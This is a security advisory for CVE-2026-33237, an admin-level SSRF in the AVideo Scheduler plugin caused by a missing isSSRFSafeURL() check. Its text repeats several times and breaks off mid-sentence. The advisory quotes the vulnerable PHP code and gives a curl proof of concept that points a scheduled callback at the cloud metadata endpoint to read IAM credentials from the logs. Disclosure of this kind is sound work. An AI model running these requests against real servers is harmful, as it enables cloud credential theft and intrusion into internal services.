CVE-2026-33237

WWBN AVideo is an open source video platform. Prior to version 26.0, the Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. Version 26.0 contains a patch for the issue.

WWBN AVideo is an open source video platform. Prior to version 26.0, the Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. Version 26.0 contains a patch for the issue.

Summary

The Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.

Details

The vulnerable code is at plugin/Scheduler/Scheduler.php:157-166:

// Line 157: callback URL retrieved and site-root token substituted
$callBackURL = $e->getCallbackURL();
$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);
if (!isValidURL($callBackURL)) {
    return false;
}
// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)
// The critical missing check is:
// if (!isSSRFSafeURL($callBackURL)) { return false; }
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);

isValidURL() in objects/functions.php uses filter_var($url, FILTER_VALIDATE_URL) — it validates URL syntax only and does not block internal/private network targets.

isSSRFSafeURL() in objects/functions.php:4021 explicitly blocks:

• 127.x.x.x / ::1 (loopback)
• 10.x.x.x, 172.16-31.x.x, 192.168.x.x (RFC-1918 private)
• 169.254.x.x (link-local, including AWS/GCP metadata at 169.254.169.254)
• IPv6 private ranges

This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit 0e5638292) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.

An admin can configure the callbackURL for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface.

PoC

# Step 1: Authenticate as admin

# Step 2: Create a scheduled task with cloud metadata SSRF callback
curl -b "admin_session=<session>" -X POST \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \
  -d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00"

# Step 3: Trigger immediate execution via Scheduler run endpoint
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/run.php

# Step 4: Read the scheduler execution logs
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php
# Response includes the AWS metadata API response with IAM role credentials

Expected: Internal network addresses rejected before HTTP request is made. Actual: The server makes an HTTP request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the response (including AWS IAM role credentials) is stored in the scheduler execution log.

Impact

• Cloud credential theft: On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (169.254.169.254), potentially enabling privilege escalation within the cloud environment.
• Internal service probing: The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.
• Incomplete patch amplification: The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added isSSRFSafeURL() to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.
• Blast radius: Requires admin…

WWBN AVideo is an open source video platform. Prior to version 26.0, the Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. Version 26.0 contains a patch for the issue.

WWBN AVideo is an open source video platform. Prior to version 26.0, the Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. Version 26.0 contains a patch for the issue.

Summary

The Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.

Details

The vulnerable code is at plugin/Scheduler/Scheduler.php:157-166:

// Line 157: callback URL retrieved and site-root token substituted
$callBackURL = $e->getCallbackURL();
$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);
if (!isValidURL($callBackURL)) {
    return false;
}
// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)
// The critical missing check is:
// if (!isSSRFSafeURL($callBackURL)) { return false; }
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);

isValidURL() in objects/functions.php uses filter_var($url, FILTER_VALIDATE_URL) — it validates URL syntax only and does not block internal/private network targets.

isSSRFSafeURL() in objects/functions.php:4021 explicitly blocks:

• 127.x.x.x / ::1 (loopback)
• 10.x.x.x, 172.16-31.x.x, 192.168.x.x (RFC-1918 private)
• 169.254.x.x (link-local, including AWS/GCP metadata at 169.254.169.254)
• IPv6 private ranges

This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit 0e5638292) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.

An admin can configure the callbackURL for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface.

PoC

# Step 1: Authenticate as admin

# Step 2: Create a scheduled task with cloud metadata SSRF callback
curl -b "admin_session=<session>" -X POST \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \
  -d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00"

# Step 3: Trigger immediate execution via Scheduler run endpoint
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/run.php

# Step 4: Read the scheduler execution logs
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php
# Response includes the AWS metadata API response with IAM role credentials

Expected: Internal network addresses rejected before HTTP request is made. Actual: The server makes an HTTP request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the response (including AWS IAM role credentials) is stored in the scheduler execution log.

Impact

• Cloud credential theft: On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (169.254.169.254), potentially enabling privilege escalation within the cloud environment.
• Internal service probing: The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.
• Incomplete patch amplification: The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added isSSRFSafeURL() to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.
• Blast radius: Requires admin…